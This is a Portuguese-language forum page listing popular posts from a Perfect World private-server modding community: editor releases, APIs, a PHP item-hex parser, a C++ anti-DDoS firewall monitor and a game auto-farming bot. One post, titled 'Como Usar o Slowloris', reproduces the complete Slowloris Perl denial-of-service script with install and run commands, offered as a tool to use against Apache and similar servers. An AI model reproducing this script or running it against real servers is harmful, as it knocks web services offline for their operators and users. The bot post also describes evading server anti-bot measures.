Os Melhores
Conteúdo popular
Mostrando conteúdo com a maior reputação em 03/11/25 em Posts
-
3 pontos
-
3 pontos
-
WinPCK v1.33.0.3 – Atualizado ChangeLog: Leitura de arquivos .cup, o WinPCK fará a decodificação do cup. Instalação no registro do Windows com .cup Leitura de arquivos .pck com .pkx maiores que 2GB Leitura de arquivos .pck com .pkx1 Tradução para o inglês Atualizado para C++20 Atualizado para o Visual Studio 2022 Codigo Fonte: [Conteúdo Oculto] Binarios: [Conteúdo Oculto]/releases v1.33.0.3 - Release.rar v1.33.0.3 - Release-static.rar3 pontos
-
Se seu RAE Editor de Elements não abre por nada, utilize este link: RAE_2023.zip2 pontos
-
2 pontos
-
2 pontos
-
2 pontos
-
2 pontos
-
2 pontos
-
Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?2 pontos
-
2 pontos
-
2 pontos
-
Apresento o meu projeto de Ranking PVE, agora disponível para venda em meu site! Demo: [Conteúdo Oculto] Ranking Forja; Ranking Coleta; Ranking Drop; Quando clica em um personagem: Modal de informações de recompensas Histórico de Resets + detalhes no link: [Conteúdo Oculto] Agradecimentos especiais ao @Shepiro por confiar no meu trabalho e ainda, fornece o server para testes.2 pontos
-
Nova atualização v176.1 - Corrigido Leitura do ElementClient X86 - Agora, se você abrir o editor, com o Rae Aberto, o carregamento do elements.data não será necessário. Source Code: [Conteúdo Oculto] NpcGen.v176.1.updated.by.Haly.rar2 pontos
-
O Editor de NPCGen teve uma atualização Adicionado Offsets para 1.7.2 x64 e 1.7.6 x64 Agora o editor tem suporte a API do RAE, para funcionar corretamente, deve estar com o Rody Angelica Editor aberto com o elements carregado. NetFramework 4.8.1 Adicionado o projeto HelperProcess, devido a API do RAE somente estar disponível em x86, para que consiga pegar coordenadas de endereços x64 do elementclient. Compile em x86 para funcionar corretamente com a RAE API. Source Code: [Conteúdo Oculto] Screenshots: NpcGen.v176.updated.by.Haly.rar2 pontos
-
Fala devs de Perfect World. Hoje eu estou aqui pra apresentar a minha mais nova api de prêmios para Perfect World. Api feita em Node com Type Script Features: - Sorteio de Itens ou Gold - Logado Premiado Por Hora - Logado Premiado Diário - Logado Premiado Semanal - Logado Premiado Mensal - Sorteios dinâmicos por gm via chat (requer participação dos jogadores também via chat) - Registro de Prêmios no discord - Comandos de consultas de prêmios por nick - Comando dos últimos prêmios dividido por categoria Meu discord: kaiquebsl || outros contatos nos links ⬇ Meu site de skins personalizadas pra PW ou Saint Seiya Online: [Conteúdo Oculto] Marketing e desenvolvimento para servidores? [Conteúdo Oculto]2 pontos
-
offsets.txt Offsets com algumas a mais que tenho por aqui (Adicionei as que tem no seu arquivo)2 pontos
-
2 pontos
-
PWSERVER 1.5.5 COM ESTIO, ATALHOS, SCRIPT.LUA E AFINS. LINK QUEBRADO!1 ponto
-
1 ponto
-
Sinceramente eu nunca usei esse editor porém está aqui no meu PC vou postar vai que alguém precisa tai, espero ter ajudado. OllyDbg 2.0.rar1 ponto
-
1 ponto
-
Npcgen Data editor by Luka O Editor de NPCGen teve uma atualização Adicionado Offsets para 1.7.2 x64 e 1.7.6 x64 Agora o editor tem suporte a API do RAE, para funcionar corretamente, deve estar com o Rody Angelica Editor aberto com o elements carregado. NetFramework 4.8.1 Adicionado o projeto HelperProcess, devido a API do RAE somente estar disponível em x86, para que consiga pegar coordenadas de endereços x64 do elementclient. Compile em x86 para funcionar corretamente com a RAE API. Source Code: [Conteúdo Oculto] Screenshots: codigo fonte: [Conteúdo Oculto] binarios: [Conteúdo Oculto]/releases NpcGen v174 by Luka updated by Haly.rar NpcGen.v176.updated.by.Haly.rar1 ponto
-
Salve, hoje venho compartilhar este projeto feito em nodejs com os entusiastas da programação O projeto ainda estava no começo, mas a base e muitas funções já estão pronta, tais como; Login Cadastro (com ou sem confirmação no e-mail) Recuperar conta Reenviar e-mail de ativação Template dos e-mails Dashboard cru Página de doação (parei aqui) Para rodar o painel é bastante simples; Instale o node NodeJS >=20.00 - [Conteúdo Oculto] Crie um banco de dados e importe o config/tables.sql para o mesmo Configure o config/settings.js com as informações dos bancos de dados, url do cors, porta do aplicação, hash etc Pronto agora é só instalar as dependências e iniciar a aplicação npm install npm start Se você fez tudo certo você deve ver uma mensagem de sucesso no terminal informando que a aplicação foi iniciado na porta definida Download: node-js.zip1 ponto
-
1 ponto
-
1 ponto
-
E aí, galera! Tenho uma super novidade para compartilhar com todos vocês! Estou lançando meu site , repleto de skins de personagens famosos que desenvolvi ao longo dos últimos anos, e o melhor de tudo: elas são todas gratuitas! Este é apenas o começo, pois o site ainda está em construção e tenho muitas outras surpresas para postar em breve. Se você está procurando por uma S K I N específica minha que ainda não está disponível, fique tranquilo, é só me chamar no D I S C O R D e eu farei questão de postar os modelos que você deseja. OBS: São todos modelos que eu fiz! E não para por aí, pessoal! Se você está em busca de algo realmente exclusivo para o seu servidor, estou aqui para ajudar. Aceito encomendas de modelos personalizados, feitos especialmente para atender às necessidades do seu servidor. Tenho certeza de que isso pode ser um grande diferencial para tornar o seu servidor ainda mais atrativo! Vocês nem imaginam quantos modelos incríveis ainda tenho para postar, mas calma, estou trabalhando para compartilhá-los com vocês nos próximos dias. Então fiquem ligados e não percam as atualizações! Acessem meu site, confiram as S K I N S já disponíveis e entrem em contato comigo pelo D I S C O R D ou Z A P para pedidos especiais! Grande abraço! Acessem o meu site : [Conteúdo Oculto] Fazendo o que ninguem mais sabe fazer 2020-02-16 14-06-35.mp4 Fazendo o que ninguem mais sabe fazer 2020-05-17 13-03-34.mp4 Perfect World 2019-09-16 16-07-46.mp4 Perfect World 2019-11-01 15-12-14.mp4 susanoo.mp41 ponto
-
AUIEditor2.1 Como usar: Locale Emulator: Abra o programa "Locale Emulator" executando o arquivo chamado LEGUI.exe. Altere a localização para Chinês Simplificado. Não se esqueça de salvar as configurações depois de fazer a mudança. Utilize um extractor de PCK para extrair os arquivos do tipo "interface.pck , surface.pck ,config.pck , Coloque os arquivos extraídos nas pastas correspondentes. "configs.pck".= "configs" . Agora, abra o AUIEditor2. Basta clicar com o botão direito do mouse no arquivo executável e selecionar a opção Locale Emulator selecionar a opção para abrir. O meu Chinês Simplificado. esta em (wwww) Animações GFX (Opcional gfx.pck , shaders.pck" para carregar as animações . Coloque os arquivos extraídos nas pastas correspondentes. "gfx.pck".= "gfx". Locale.Emulator.zipAUIEditor (interfaces).rar configs.rar Atalho para AUIEditor2 bat para AUIEditor2+Locale.Emulator .cmd >>1.00<< 2024-03-23 23-01-52.mp41 ponto
-
1 ponto
-
1 ponto
-
1 ponto
-
1 ponto
-
1 ponto
-
Eu acabei de notar que não tinha postado, como eu comentei sobre ela em outro post , vou estar disponlibilizando aqui. [Conteúdo Oculto]1 ponto
-
Base Firewall usado no D-Proxy Sistema Operacional: Alma Linux 8 Módulos Ativos + Proteção contra ataques SYN Flood + Proteção contra ataques UDP Flood + Gerenciamento automático de bloqueios + Filtragem baseada em portas + Registro de logs + Execução automática de regras de firewall + Módulos como Fail2Ban, slowloris ou iptables com rate limiting podem ser implementados opcionalmente. como copilar? sudo dnf install -y gcc-c++ libpcap-devel firewalld g++ -o firewall_monitor firewall_monitor.cpp -lpcap -lpthread para deixar rodando 24 Hrs sudo dnf install -y screen screen -S firewall_monitor sudo ./firewall_monitor Ctrl + A, depois solte e aperte D config.txt ports=29000,3306,80,39000,22 firewall_monitor.cpp #include <iostream> #include <pcap.h> #include <unordered_map> #include <ctime> #include <cstring> #include <fstream> #include <sstream> #include <chrono> #include <thread> #include <vector> #include <algorithm> #include <cstdint> #include <arpa/inet.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/udp.h> #include <netinet/ip_icmp.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> // Ayarlar const std::string device = "eth0"; // Ağ arayüzü const int max_conn_per_sec = 200; // Saniye başına bağlantı limiti const int block_time = 86400; // Engelleme süresi (saniye cinsinden) (24 saat) const std::string log_file = "logs.txt"; // Günlük dosyası const std::string config_file = "config.txt"; // Yapılandırma dosyası // Bağlantı sayım yapıları struct ConnInfo { int count; std::time_t last_seen; }; std::unordered_map<std::string, ConnInfo> conn_count; // IP başına bağlantı sayacı std::unordered_map<std::string, ConnInfo> syn_count; // IP başına SYN sayacı std::unordered_map<std::string, ConnInfo> udp_count; // IP başına UDP sayacı std::unordered_map<std::string, std::time_t> blocked_ips; // Engellenen IP'ler ve süresi std::vector<uint16_t> ports; // Korumaya alınacak bağlantı noktaları (yapılandırma dosyasından yüklenir) // Günlük kaydı işlevi void log_message(const std::string& message) { std::ofstream log_stream(log_file, std::ios::app); if (log_stream.is_open()) { auto now = std::chrono::system_clock::now(); std::time_t now_time = std::chrono::system_clock::to_time_t(now); log_stream << "[" << std::ctime(&now_time) << "] " << message << std::endl; } } // IP engelleme işlevi void block_ip(const std::string& ip) { std::string command = "sudo firewall-cmd --permanent --add-rich-rule='rule family=\"ipv4\" source address=\"" + ip + "\" reject'"; system(command.c_str()); system("sudo firewall-cmd --reload"); blocked_ips[ip] = std::time(nullptr) + block_time; // Engelleme süresi belirlenir log_message("IP " + ip + " 24 saat boyunca engellendi."); } // Süresi dolmuş IP engellerini kaldıran işlev void unblock_expired_ips() { auto now = std::time(nullptr); for (auto it = blocked_ips.begin(); it != blocked_ips.end(); ) { if (now >= it->second) { std::string command = "sudo firewall-cmd --permanent --remove-rich-rule='rule family=\"ipv4\" source address=\"" + it->first + "\" reject'"; system(command.c_str()); system("sudo firewall-cmd --reload"); log_message("IP " + it->first + " engeli kaldırıldı."); it = blocked_ips.erase(it); } else { ++it; } } } // Paket işleme işlevi void process_packet(u_char* user, const struct pcap_pkthdr* pkthdr, const u_char* packet) { struct ip* ip_header = (struct ip*)(packet + 14); // Ethernet başlığını (14 bayt) atlar struct tcphdr* tcp_header = (struct tcphdr*)(packet + 14 + (ip_header->ip_hl << 2)); struct udphdr* udp_header = (struct udphdr*)(packet + 14 + (ip_header->ip_hl << 2)); struct icmp* icmp_header = (struct icmp*)(packet + 14 + (ip_header->ip_hl << 2)); char src_ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &(ip_header->ip_src), src_ip, INET_ADDRSTRLEN); uint16_t dst_port = 0; if (ip_header->ip_p == IPPROTO_TCP) { dst_port = ntohs(tcp_header->th_dport); } else if (ip_header->ip_p == IPPROTO_UDP) { dst_port = ntohs(udp_header->uh_dport); } // IP engellenmiş mi kontrol et if (blocked_ips.find(src_ip) != blocked_ips.end()) { return; // Engellenmiş IP'den gelen paketleri yok say } // Bağlantı noktası koruma listesinde mi kontrol et if (std::find(ports.begin(), ports.end(), dst_port) != ports.end()) { auto now = std::time(nullptr); // Eski bağlantıları temizle for (auto it = conn_count.begin(); it != conn_count.end(); ) { if (now - it->second.last_seen > 1) { it = conn_count.erase(it); } else { ++it; } } // SYN paketlerini say ve limit aşılırsa IP'yi engelle if (ip_header->ip_p == IPPROTO_TCP && (tcp_header->th_flags & TH_SYN)) { syn_count[src_ip].count++; syn_count[src_ip].last_seen = now; if (syn_count[src_ip].count > max_conn_per_sec) { block_ip(src_ip); syn_count.erase(src_ip); return; } } // UDP paketlerini say ve limit aşılırsa IP'yi engelle if (ip_header->ip_p == IPPROTO_UDP) { udp_count[src_ip].count++; udp_count[src_ip].last_seen = now; if (udp_count[src_ip].count > max_conn_per_sec) { block_ip(src_ip); udp_count.erase(src_ip); return; } } } } int main() { // Başlatma mesajı std::cout << "Anti-DDoS başlatılıyor..." << std::endl; log_message("Anti-DDoS başarıyla başlatıldı."); char errbuf[PCAP_ERRBUF_SIZE]; pcap_t* handle = pcap_open_live(device.c_str(), BUFSIZ, 1, 1000, errbuf); if (handle == nullptr) { std::cerr << "Aygıt açılırken hata: " << errbuf << std::endl; log_message("Aygıt açılırken hata: " + std::string(errbuf)); return 1; } // Ana döngü while (true) { pcap_loop(handle, -1, process_packet, nullptr); unblock_expired_ips(); // Süresi dolmuş IP engellerini kaldır std::this_thread::sleep_for(std::chrono::seconds(1)); } pcap_close(handle); return 0; }1 ponto
-
Sabe aqueles PW que coloca uma aréa de farme e ao redor coloca estaca de madeira ou algum mob imune pra evitar o auto cultivo? Então, tava de bobeira no Discord com uns amigos e resolvi fazer um bot para melhorar o auto-cultivo? Não espere muito, fiz todo cagado para uso pessoal e amigos, mas vou compartilhar com vocês aqui 😄 Funções (que eu lembro) Ignora o Mob que você quiser Pega moedas/itens do chão ao matar Repara automaticamente o seu set (função do inventário) Autopot Se morrer volta pro mesmo lugar que estava (as vezes não funciona xisde) Aviso no chat(qualquer um) toda vez que encontra o mob indesejado (você pode desativar (pra não levar ban) isso no settings.ini) Um txt cheio de logs pra você ver oque rolou Atalhos (que eu lembro) F1 = F1 ou macro F2 = Coloque a skill de pegar itens do chão F3 = Coloque o boticário que você vai usar (HP) F4 = Coloque o boticário que você vai usar (MP) Configure o mob a ser ignorado na imagem include/estaca-de-madeira.png Fora isso, não precisa de configuração, basta abrir o jogo e deixa na tela do PW. Eu gravei isso para ajudar meu amigo na instalação/uso: [Conteúdo Oculto] (ignore as configurações, era de um versão antiga) Download: bot-pw.zip1 ponto
-
1 ponto
-
Informações: Versão compatível: 1.5.5v156 Essa lib foi desenvolvida por um amigo e aprimorada por mim, para que pudesse controlar os lances e batalhas de Guerra territoriais. Eu deixei todas as funções o mais didático possível, para que até mesmo leigos possam alterar as funções sem prejudicar a funcionalidade. Todos os comentários que fiz no arquivo script.lua, ajudará você a modificar a ferramenta. Você mesmo pode melhorar as funções como por exemplo, horário de inicio de lances, final e batalha. Você pode modificar para que, cada dia inicie em um horário diferente, basta retornar o valor correto de result. Como exemplo: function BidBeginTime( now ) --Inicio dos Lances -- Constantes local result = BattleManagerLogic(now) local hour = 12 -- Hora de Inicio local minuter = 1 -- Minutos (se for antes de 10 minutos, não coloque 05, coloque apenas 5) -- Variáveis if result == 0 then -- Se for domingo, os lances iniciaram ás 15:10 hour = 15 minuter = 10 end mylogfunc("BidBeginTime: now = "..now) mylogfunc("BidBeginTime: DAY = "..result) return result*DAY + hour*HOUR + minuter*MIN end Vai da imaginação de vocês, isso é apenas um exemplo. Instalação: - Extraia os arquivos nas referentes pastas ( já vai tudo separado ). - Adicione no seu ./start.sh o seguinte código quando iniciar gdeliveryd: cd /PWServer/gdeliveryd; LD_PRELOAD=twman.so ./gdeliveryd gamesys.conf > /PWServer/logs/gdeliveryd.log & - Configure o arquivo script.lua e pronto! Reinicie totalmente o jogo e basta aguardar o horário de inicio para os testes. Obs: Nunca adicione algo dessa forma no servidor de produção, sempre faça testes antes. TwManager.rar1 ponto
-
1 ponto
-
Varios icones do map.xml tem configuração propria dentro do elementclient.exe, uma configuração para interface com mapa quadrado e outra com mapa redondo, sempre que vc alternar, os icones vão se ajustar no x e y que está no elementclient.exe Elementclient 1.5.5 // MODE_A (Mapa Quadrado) //GetDlgItem("Btn_TreasureBag")->SetDefaultPos(X,Y) setup_uint(0x00652FB2, 333); //X setup_uint(0x00652FAD, 165); //Y //GetDlgItem("Btn_Calendar")->SetDefaultPos(X,Y) setup_uint(0x00652FCF, 362); //X setup_uint(0x00652FCA, 164); //Y //GetDlgItem("Chk_Mail")->SetDefaultPos(X,Y); setup_uint(0x00653009, 308); //X setup_uint(0x00653004, 165); //Y //GetDlgItem("btn_mailtofriends")->SetDefaultPos(X,Y) setup_int(0x00653026, -2000); //X setup_int(0x00653021, -2000); //Y // MODE_B (Mapa Redondo) //GetDlgItem("Chk_MapMonster")->SetDefaultPos(X,Y) setup_uint(0x0065303B, 335); //X //GetDlgItem("Btn_+")->SetDefaultPos(X,Y); setup_uint(0x00653055, 320); //X //GetDlgItem("Btn_-")->SetDefaultPos(X,Y); setup_uint(0x0065306F, 312); //X //GetDlgItem("Chk_Mode")->SetDefaultPos(X,Y); setup_uint(0x00653089, 312); //X //GetDlgItem("Btn_BigMap")->SetDefaultPos(X,Y); setup_uint(0x006530A3, 318); //X //GetDlgItem("Check_Mark")->SetDefaultPos(X,Y); setup_uint(0x006530C0, 330); //X //GetDlgItem("Btn_TreasureBag")->SetDefaultPos(X,Y); setup_uint(0x006530DD, 350); //X setup_uint(0x006530D8, 152); //Y //GetDlgItem("Btn_Calendar")->SetDefaultPos(X,Y); setup_uint(0x006530FA, 445); //X setup_uint(0x006530F5, 145); //Y //GetDlgItem("Img_New")->SetDefaultPos(X,Y); //GetDlgItem("Chk_Mail")->SetDefaultPos(X,Y); setup_uint(0x00653134, 445); //X setup_uint(0x0065312F, 28); //Y //GetDlgItem("btn_mailtofriends")->SetDefaultPos(X,Y) setup_int(0x00653151, -2000); //X setup_int(0x0065314C, -2000); //Y1 ponto
-
1 ponto
-
1 ponto
-
1 ponto
-
1 ponto
-
Link retirado de outro fórum com algumas correções feitas: Traduzido pelo ChatGPT Reparado a casa Fix na recarga direta de pontos VIP Reparado o shopping, adicionar novas modas e aeronaves Fix para que a sincronização do mapa possa ser reparada Fix em algumas cópias de NPCs e monstros ausentes Fix na maioria dos NPCs ausentes Reparado desconexão ocasional do gs Reparado o Conjunto Yuxian Fix algumas habilidades locais que não podem ser aprendida. A nova ocupação não exibe o modelo. Abra as configurações do jogo. Basta cancelar o modo de alta performance. [GOOGLE DRIVE] PW 1.6.5 Atualizado 12/12/231 ponto
-
Há algum tempo eu venho estudando sobre os octets do PW (hex strings) para adicionar os detalhes dos itens no visualizador de inventário do meu painel. Inclusive eu achei esses 2 pdfs que estão anexados nesse post perdidos por aí (Além de outros projetos relacionados), o que me ajudou bastante no começo. E apartir disso eu construi esse projeto em php chamado PWHexParser que recebe um octet de um item, o tipo do item e retorna um json como resultado, exemplos: Lendo octets de uma roupa: <?php require __DIR__ . '/../vendor/autoload.php'; $decoder = new App\Decoder(); $decoder->setItemType('Fashion'); // Weapon, Armor, Charm, Jewelry, Flight, Card... $decoder->sethexString('1e00000092470100010a620072007500630065000000'); //Mandarin Silk Gown $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level_req": 30, "color": 18322, "gender": 1, "creator_type": 1, "name_length": 5, "name": "bruce", "color_mask": 0 } Adivinhando o tipo do item (arma nesse caso): <?php require __DIR__ . '/../vendor/autoload.php'; $mask = 1; // Weapon $decoder = new App\Decoder(); $decoder->guessItemType($mask); $decoder->sethexString('5a00ff001001000031000000b4610000786900002c00040a4200720075006300650000000000090000000b00000000000000930200009b0500000000000000000000180000000000604000000000010000000000000003000000114500009200000001000000f02300004d000000cf2500000e000000'); $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level": 90, "class": 255, "strength": 272, "vitality": 0, "dexterity": 49, "magic": 0, "min_durability": 250, "max_durability": 270, "item_type": 44, "item_flag": 4, "name_length": 10, "name": "Bruce", "ranged_type": 0, "weapon_type": 9, "weapon_grade": 11, "ammunition_type": 0, "min_physical_damage": 659, "max_physical_damage": 1435, "min_magic_damage": 0, "max_magic_damage": 0, "attack_rate": 0.83, "attack_range": 3.5, "minimum_range": 0, "sockets_count": 1, "sockets": [ 0 ], "addons_count": 3, "addons": { "special_addons": [ { "id": 1297, "value": 146, "level": 1 } ], "normal_addons": [ { "id": 1008, "value": 77 }, { "id": 1487, "value": 14 } ], "refine_addons": [ ], "socket_addons": [ ] } } O projeto está disponível no Github e também é possível instalar via composer: Ele não está 100% finalizado ainda, mas já da pra utilizar em algum projeto de seu interesse. :) Hex Data Guide v2T2.pdf Hex Code Guide By Drakaer.pdf1 ponto
-
1 ponto
-
Estou com o mesmo problema já fiz de tudo. Ela mostra na tela do login mas não da pra selecionar, queria tirar da tela pra não ficar mostrando.1 ponto
-
que estranho comigo não funciona, da uma olhada. ELEMENTCLIENT.EXE interfaces.pck1 ponto